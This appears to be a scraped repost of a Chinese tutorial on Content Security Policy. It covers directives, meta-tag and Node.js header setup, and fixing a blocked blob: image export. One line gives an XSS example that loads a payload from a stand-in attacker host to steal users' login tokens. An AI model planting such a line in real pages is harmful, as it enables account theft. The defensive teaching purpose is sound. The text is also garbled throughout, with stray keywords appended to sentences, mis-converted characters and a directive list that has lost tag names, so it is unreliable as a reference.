CSP 內容安全策略入門

導語

最近在修復公司系統一個圖片導出的功能,沒法導出圖片html

,拒絕加載圖片 blob:http://xxxx,違反 Content Security Policy, 因而就 google 一把,這個是什麼玩意?

Content Security Policy

這是網站安全方面的內容了,對於網站跨域的問題錯誤很多見,跨域是因爲同源策略致使的,只容許加載來自自身的origin 域的數據,即 a.com 是不能加載來自 b.com 的數據的,這樣就解決大部分的安全問題,惡意代碼就沒法在瀏覽器端執行獲取用戶的安全隱私。畢竟,「道高一丈,魔高一尺」,惡意方總有方法繞過同源策略的限制,如XSS跨站腳本攻擊,好比網站有個留言板功能,但後臺未對用戶輸入進行過濾,攻擊者能夠在留言編輯框中輸入前端

<script src="http://www.hacker.org/xss.payload.js"></script>
複製代碼

,xss.payload.js能夠獲取老瀏覽用戶的信息,如的登陸token、用戶的我的資料等。之前的防護手段主要是對用戶輸入進行過濾如:去除html標籤,實體化,關鍵字過濾等等,這樣一來,最終的結果就是後臺的大多數代碼都是在作字符串驗證,很是的讓人不舒服。因此W3 org引入了CSP,它從另一層面給瀏覽器提供了保護。node

看看 MDN Content Security Policy的解釋:web

內容安全策略 (CSP) 是一個額外的安全層,用於檢測並削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數據注入攻擊等。不管是數據盜取、網站內容污染仍是散發惡意軟件,這些攻擊都是主要的手段。api

本文主要講述如下幾點內容:跨域

  • CSP 原理
  • CSP 使用規則
  • CSP 的應用:解決圖片導出的問題

原理

CSP 經過告訴瀏覽器一系列的規則,嚴格規定頁面中哪些資源容許有哪些資源,不在指定範圍內的通通拒絕,這樣一來,從源頭上杜絕了不可信的xss payload。瀏覽器

規則

不管是在 <meta> 標籤仍是在 header 中指定,其值的格式是統一的,都由一系列的指令組成的。安全

Content-Security-Policy: <policy-directive>; <policy-directive>
複製代碼

這裏的指令是CSP 規定中用以詳細描述某種資源的判斷,好比前面的錯誤圖片中,img-src 指定圖片,下面列出一些經常使用的指令bash

  • child-src:爲web workers和其餘內嵌瀏覽器內容(例如用和加載到頁面的內容)定義合法的源地址。
  • connect-src:限制能經過腳本接口加載的UR
  • default-src:爲其餘取指令提供備用服務fetch directives。
  • font-src:設置容許經過@font-face加載的字體源地址。
  • img-src: 限制圖片和圖標的源地址
  • frame-src: 設置容許經過相似和標籤加載的內嵌內容的源地址
  • 限制application manifest文件的源地址。
  • object-src:限制、、標籤的源地址。
  • media-src:限制經過
  • prefetch-src :指定預加載或預渲染的容許源地址。
  • script-src:限制JavaScript的源地址。
  • style-src:限制層疊樣式表文件源。
  • worker-src:限制Worker、SharedWorker或者ServiceWorker腳本源。
  • 更多指令,見 MDN服務器

    指令可接受的值

    指令後面跟的來源,有兩種寫法:

    • 預設值
    • URI 通配符

    預設值

    • none 不匹配任何東西。
    • self 匹配當前域,但不包括子域。好比 example.com 能夠,api.example.com 則會匹配失敗。
    • unsafe-inline 容許內嵌的腳本及樣式。
    • unsafe-eval 容許經過字符串動態建立的腳本執行,好比 eval,setTimeout 等

    URI

    除了上面配置的預設值,還能夠經過提供完整的URI或帶通配符 * 的地址來匹配,以指定資源的合法來源,跟配置跨域的相應頭一致,參考Same-origin_policy

    實現途徑

    默認狀況下,若是站點未指定 CSP 規則,瀏覽器不會默認開啓,只受同源策略的影響。

    <!DOCTYPE html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta http-equiv="X-UA-Compatible" content="ie=edge" />
        <title>CSP 安全策略</title>
        <style>
          h1 {
            color: cornflowerblue;
          }
        </style>
      </head>
      <body>
        <h1>Hello CSP !</h1>
        <script>
          window.onload = () => alert("Hi, Jecyu");
        </script>
      </body>
    </html>
    
    複製代碼

    HTML 中添加 標籤來指定 Content-Security-Policy 規則

    <head>
        ...
         <meta http-equiv="Content-security-Policy" content="default-src 'self'" />
       ...
      </head>
       
    複製代碼

    效果:

    配置站點默認只信息同域的資源,但注意,這個設置並不包含內聯的狀況,因此結果會如上圖。如何修復它呢。若是咱們想要容許頁面內的內聯腳本或樣式,則能夠經過添加unsafe-inline 指令值來修復。

    <meta  http-equiv="Content-security-Policy"  content="default-src 'self' 'unsafe-inline'"
        />
    複製代碼

    default-src,若是指定了它的值,則至關於改變了這些未指定的指令的默認值。能夠理解爲,上面 style-src 若是沒指定,原本其默認值是 *,能夠加載全部來源的樣式,但設置 default-src 後,默認值就成了 default-src 指定的值。

    服務器添加 Content-Security-Policy 響應頭來指定規則

    這裏使用 node.js

    const http = require("http");
    const fs = require("fs");
    const PORT = 8088;
    const path = require("path");
    console.log();
    // 建立一個 http 服務
    const server = http.createServer((request, response) => {
      response.setHeader("Content-Type", "text/html;charset='utf-8'");
      response.setHeader("Access-Control-Allow-Origin", "*");
      response.setHeader(
        "Content-security-Policy",
        "default-src 'self' 'unsafe-inline'"
      );
      // 讀文件
      fs.readFile(path.resolve(__dirname, "./index.html"), function(err, data) {
        if (err) {
          console.log(`index.html loading is failed` + err);
        } else {
          // 返回 HTML 頁面
          response.end(data);
        }
      });
    });
    
    // 啓動服務,監聽端口
    server.listen(PORT, () => {
      console.log("服務啓動成功,正在監聽: ", PORT);
    });
    
    複製代碼

    優先級

    • 對於設置了屢次響應頭的狀況,最嚴格的規則會生效(不管是在 中,仍是 header 中)
    • 同一指令屢次指定,以第一個爲準,後續的會被忽略。

    解決圖片導出的問題

    看看了請求首頁的請求響應參數,以下:

    經過前面的學習後,得知能夠經過HTML或者Header進行對 CSP 規則的設置,從而避開限制。這裏並無設置 img-src,因爲設置 default-src 'self' data: *;,所以圖片只能加載同域的圖片data:前綴的值

    解決方案一:添加 img-src 指令

    從圖片可知直接設置 img-src *沒有包括 blob的數據規則, 來自 content-security-policy.com

    所以,須要添加聲明規則,default-src blob: *img-src blob: *

    解決方案二: 轉換圖片的格式

    在動態設置圖片src的時候,先把blob 轉爲 base64 形式,這樣就符合了 CSR 的設置規則了,圖片就能夠添加到 HTML中了。

    var base64data = "";
       xhr.onload = function() {
              img = new Image();
              var reader = new window.FileReader();
              reader.readAsDataURL(this.response);
              reader.onloadend = function() {
                base64data = reader.result;
                img.src = base64data;
              };
              img.addEventListener(
                "load",
                function() {
                  deferred.resolve(img);
                  URL.revokeObjectURL(_url);
                },
                false
              );
              img.addEventListener("error", function(errorEvent) {
                deferred.resolve({
                  error: errorEvent,
                  image: img
                });
                URL.revokeObjectURL(_url);
              });
            };
            xhr.onerror = function() {
              var img = new Image();
              deferred.resolve(img);
            };
            xhr.open("GET", url, true);
            xhr.responseType = "blob";
            xhr.send();
          }
    複製代碼

    瀏覽器兼容性

    (全文完)

    進一步閱讀

相關文章
相關標籤/搜索